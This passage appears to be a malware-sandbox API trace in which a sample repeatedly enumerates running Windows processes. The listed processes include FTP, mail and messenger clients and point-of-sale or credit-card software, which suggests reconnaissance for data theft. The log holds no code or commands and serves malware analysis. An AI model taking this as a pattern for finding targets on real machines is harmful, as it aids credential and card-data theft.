lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0122.295] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0122.296] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0122.298] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0122.300] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0122.302] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0122.304] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0122.311] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0122.314] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0122.317] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0122.327] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0122.331] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0122.334] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0122.338] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0122.341] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0122.345] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0122.349] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0122.353] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0122.357] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0122.360] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0122.364] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0122.368] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0122.372] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0122.378] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0122.382] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0122.386] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0122.389] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0122.394] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0122.397] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0122.401] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0122.409] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0122.414] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0122.418] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0122.421] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0122.424] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0122.428] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0122.431] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0122.434] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0122.437] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0122.447] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0122.451] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0122.455] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0122.459] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0122.462] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0122.465] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0122.468] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0122.471] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0122.474] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0122.477] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0122.480] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0122.483] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0122.486] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0122.489] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0122.493] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0122.495] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0122.498] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0122.501] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0122.507] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0122.510] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0122.513] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0122.518] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0122.521] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0122.523] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.526] Process32Next (in: hSnapshot=0x1e54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0122.530] CloseHandle (hObject=0x1e54) returned 1 [0122.530] Sleep (dwMilliseconds=0x64) [0122.670] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2074 [0122.690] Process32First (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.693] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.732] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.735] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.737] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.739] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.742] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.745] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.748] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.750] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.753] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.755] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.758] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.760] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.763] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.769] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.771] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.773] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.776] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.778] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: 